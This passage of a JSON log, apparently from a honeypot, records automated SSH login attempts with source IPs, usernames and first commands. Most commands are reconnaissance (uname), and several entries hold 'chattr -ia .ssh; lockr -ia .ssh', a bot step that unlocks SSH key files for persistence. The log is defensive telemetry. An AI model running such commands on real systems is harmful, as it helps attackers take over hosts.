  "ended_at": "2026-08-26T14:31:08.378586+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f67a1698-8fcd-4fff-b62a-eb9c38671815",
  "name": "spirited-lofty-serval",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 51616,
  "username": "testftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:30:55.297629+00:00",
  "ended_at": "2026-08-26T14:30:56.558363+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3895146f-1d56-4fdb-8a79-713a4451fd70",
  "name": "cosmic-thawing-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 51600,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:30:53.514285+00:00",
  "ended_at": "2026-08-26T14:30:54.693634+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d5ba3d6d-decd-4cbe-b475-5cf78c22cc24",
  "name": "tangled-murky-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35496,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 533,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:30:53.167439+00:00",
  "ended_at": "2026-08-26T14:30:56.510440+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a80d3b39-4f00-4357-87bd-b6f5846ac83a",
  "name": "lively-ruddy-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34848,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 360,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:30:47.574725+00:00",
  "ended_at": "2026-08-26T14:30:51.843072+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7e027010-5fca-420f-a9e3-6e7fd37242af",
  "name": "lively-dusky-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48200,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 267,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:30:22.967107+00:00",
  "ended_at": "2026-08-26T14:30:27.569640+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e9180e70-4775-44ff-8b7f-475cc412104f",
  "name": "vaulted-rugged-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38406,
  "username": "devops",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 350,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:30:15.739108+00:00",
  "ended_at": "2026-08-26T14:30:20.740220+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "544215dd-1ee8-4bea-9681-9e6501e3033c",
  "name": "woven-painted-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38060,
  "username": "trade",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 594,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:30:00.907944+00:00",
  "ended_at": "2026-08-26T14:30:03.865584+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "afeb4864-6ddd-447b-a6db-4a658ed5bcbe",
  "name": "burly-balmy-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 64751,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:29:42.286079+00:00",
  "ended_at": "2026-08-26T14:29:43.772543+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f9d3ea48-5f5c-4f25-b4be-7d5226e88b9b",
  "name": "slender-serene-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41660,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 391,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:29:40.653346+00:00",
  "ended_at": "2026-08-26T14:29:44.833287+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d3049eda-a723-440e-afe4-ac43274d4cd6",
  "name": "solemn-bronzed-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52282,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 404,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:29:34.001280+00:00",
  "ended_at": "2026-08-26T14:29:39.557597+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5e1b586f-23a0-4075-91dc-3fd50cf5465b",
  "name": "shaded-misty-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45464,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 379,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:29:23.474033+00:00",
  "ended_at": "2026-08-26T14:29:27.247010+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6891adec-d205-41a9-baec-2f5a5e4d3213",
  "name": "reedy-opal-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 58170,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:29:20.135184+00:00",
  "ended_at": "2026-08-26T14:29:21.950257+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "4d476217-c2ee-4b23-9f58-780e03feaa14",
  "name": "flinty-coastal-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50134,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 380,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:29:11.783877+00:00",
  "ended_at": "2026-08-26T14:29:16.479465+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a71161e4-9d0e-41a1-b943-fe7641b0bb57",
  "name": "smooth-blunt-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34194,
  "username": "support",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 438,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:29:05.016516+00:00",
  "ended_at": "2026-08-26T14:29:10.849057+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "478fd561-fba4-4505-9c48-bd87de308891",
  "name": "ashen-dewy-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 58188,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:28:57.498902+00:00",
  "ended_at": "2026-08-26T14:28:59.001996+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e4cb31f4-9082-4d5c-9c86-1ecfb29d2545",
  "name": "austere-ginger-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 58184,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:28:55.022084+00:00",
  "ended_at": "2026-08-26T14:28:56.888327+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1f18750f-a2f4-45a6-b0e1-ece97269d423",
  "name": "dappled-murky-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50574,
  "username": "minecraft",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 484,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:28:49.959406+00:00",
  "ended_at": "2026-08-26T14:28:55.299109+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fbf1b749-e18a-4d5c-b4d6-b957de31cdd4",
  "name": "proud-upland-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 52304,
  "username": "airflow",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:28:48.631753+00:00",
  "ended_at": "2026-08-26T14:28:52.737265+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ff4efb31-451f-4f12-8170-a5b2cabaa09e",
  "name": "arctic-solemn-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39276,
  "username": "airflow",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 416,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:28:44.667385+00:00",
  "ended_at": "2026-08-26T14:28:52.738674+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "6f3f2e48-327e-409c-8bb4-cc94fec84ebd",
  "name": "civil-flinty-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40710,
  "username": "yangx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 749,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:28:41.209628+00:00",
  "ended_at": "2026-08-26T14:28:42.598668+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2239
 },
 {
  "id": "a133b412-6e4b-4d27-acdc-324c23b825c1",
  "name": "frank-buoyant-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 50276,
  "username": "ossuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:28:22.660303+00:00",
  "ended_at": "2026-08-26T14:28:27.084927+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8de53b8-1610-4ccd-b384-1e173411ebba",
  "name": "ancient-humble-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40712,
  "username": "yangx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:28:19.551384+00:00",
  "ended_at": "2026-08-26T14:28:21.136843+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7b035cf8-8574-4aff-bd1f-249c9bbac714",
  "name": "airy-humble-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59034,
  "username": "root1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 454,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:28:19.328317+00:00",
  "ended_at": "2026-08-26T14:28:22.851891+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bec2a270-30b9-48a9-bd78-d67b13b66fc6",
  "name": "mottled-alpine-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57344,
  "username": "ossuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 420,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:28:18.202809+00:00",
  "ended_at": "2026-08-26T14:28:27.086640+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1665
 },
 {
  "id": "69f46df5-863d-47d2-8ab1-570702eb117c",
  "name": "wandering-quiet-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40711,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:28:15.986198+00:00",
  "ended_at": "2026-08-26T14:28:18.041646+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f682057d-082b-40ba-9270-738235b9ebf7",
  "name": "serene-crisp-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52592,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 436,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:27:59.479547+00:00",
  "ended_at": "2026-08-26T14:28:04.033163+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c0aedf36-4a7e-429b-bf14-d019b5165537",
  "name": "proud-brazen-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49418,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 603,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:27:43.828699+00:00",
  "ended_at": "2026-08-26T14:27:48.822075+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "324d67ad-431a-4c95-a15b-fcb023cd9c03",
  "name": "vernal-umber-jackdaw",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "140.245.97.208",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:27:31.915336+00:00",
  "ended_at": "2026-08-26T14:42:58.096238+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "74ea568c-6a83-4cd3-a8d8-dd3ae3768d7d",
  "name": "airy-cobalt-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52172,
  "username": "bob",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 437,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:27:30.890491+00:00",
  "ended_at": "2026-08-26T14:27:36.307766+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "79c1cea6-ea87-43cc-ae37-4e6f514c02f5",
  "name": "dappled-ivory-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 61736,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:27:22.396531+00:00",
  "ended_at": "2026-08-26T14:27:24.052228+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bed0f065-88a9-4511-b220-7486a531d149",
  "name": "jolly-brisk-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 64060,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:27:19.683969+00:00",
  "ended_at": "2026-08-26T14:27:21.927711+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "3bb1f8a6-8034-48d1-975f-7f76fac2a571",
  "name": "indigo-sullen-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39376,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 457,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:27:10.447819+00:00",
  "ended_at": "2026-08-26T14:27:14.242637+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4ac10f55-1855-4fa5-a857-2d63e23d2759",
  "name": "craggy-marbled-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44766,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 680,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:27:03.669815+00:00",
  "ended_at": "2026-08-26T14:27:08.531181+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "89a537ce-1175-4584-bcf3-29434c68c4a4",
  "name": "breezy-mindful-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 58428,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:26:56.077641+00:00",
  "ended_at": "2026-08-26T14:26:57.253681+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1e7747d1-04e8-4e34-99f1-a79b5e665eba",
  "name": "quiet-dusty-cheetah",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 58418,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:26:54.063712+00:00",
  "ended_at": "2026-08-26T14:26:55.553853+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "53858958-ad9c-4c9c-9cc5-a9146393a865",
  "name": "feathered-northern-quail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 43514,
  "username": "kali",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:26:50.481666+00:00",
  "ended_at": "2026-08-26T14:26:56.047618+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c046a416-f0bb-4c07-9dd7-913cfa23577c",
  "name": "plucky-jagged-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39486,
  "username": "kali",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 550,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:26:46.449217+00:00",
  "ended_at": "2026-08-26T14:26:56.045083+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "505181a3-18f9-4e8f-b8d1-8b4b236af165",
  "name": "quaint-wistful-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33748,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 420,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:26:42.593162+00:00",
  "ended_at": "2026-08-26T14:26:46.157007+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d62e6ebb-fced-4a5a-bcfa-0d0ffb04ec5d",
  "name": "feral-sooty-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59304,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 435,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:26:21.097271+00:00",
  "ended_at": "2026-08-26T14:26:24.763854+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4bc4cba9-dfe7-4b82-afc9-843c37afd51e",
  "name": "oaken-verdant-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60562,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 437,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:26:15.496909+00:00",
  "ended_at": "2026-08-26T14:26:21.040773+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1c92809e-c1ee-4750-b91d-798c4e91b33f",
  "name": "tangled-forlorn-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40520,
  "username": "newuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 675,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:25:57.359798+00:00",
  "ended_at": "2026-08-26T14:26:03.575604+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6db6a079-e5ba-43a2-9b1b-6773fc1a40c7",
  "name": "placid-proud-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40707,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 748,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:25:56.614579+00:00",
  "ended_at": "2026-08-26T14:25:57.789293+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "79e79495-f9a2-45d2-8c28-14dc404fcf0d",
  "name": "hollow-sleepy-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44688,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 615,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:25:41.071706+00:00",
  "ended_at": "2026-08-26T14:25:44.988005+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0d716dc8-0f34-48b1-9541-18497fde2099",
  "name": "twilight-alpine-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40709,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:25:34.748945+00:00",
  "ended_at": "2026-08-26T14:25:35.878007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d7cfed30-fc33-443d-9e34-61d05e271592",
  "name": "regal-shaded-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55748,
  "username": "deployer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 739,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:25:32.502125+00:00",
  "ended_at": "2026-08-26T14:25:36.533861+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5ab82833-68dd-47d5-9ee5-9dd2e33d4a78",
  "name": "cheerful-dewy-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40708,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:25:31.358334+00:00",
  "ended_at": "2026-08-26T14:25:33.259131+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "483d9ee1-ea71-4836-810f-6d411b213f41",
  "name": "electric-thrifty-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 59272,
  "username": "admins",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:25:24.017647+00:00",
  "ended_at": "2026-08-26T14:25:30.111551+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ebbb7f1-d5fc-490f-9b3f-11e5171af2f9",
  "name": "loyal-flinty-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 50212,
  "username": "webuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:25:22.761801+00:00",
  "ended_at": "2026-08-26T14:25:24.511576+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "ba6b13aa-ae6c-4393-b845-d8ed56a543bb",
  "name": "patient-rambling-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36260,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 479,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:25:22.308572+00:00",
  "ended_at": "2026-08-26T14:25:26.534182+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "056ee6a7-8e75-4c0c-b913-e2783891a50d",
  "name": "steady-wry-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
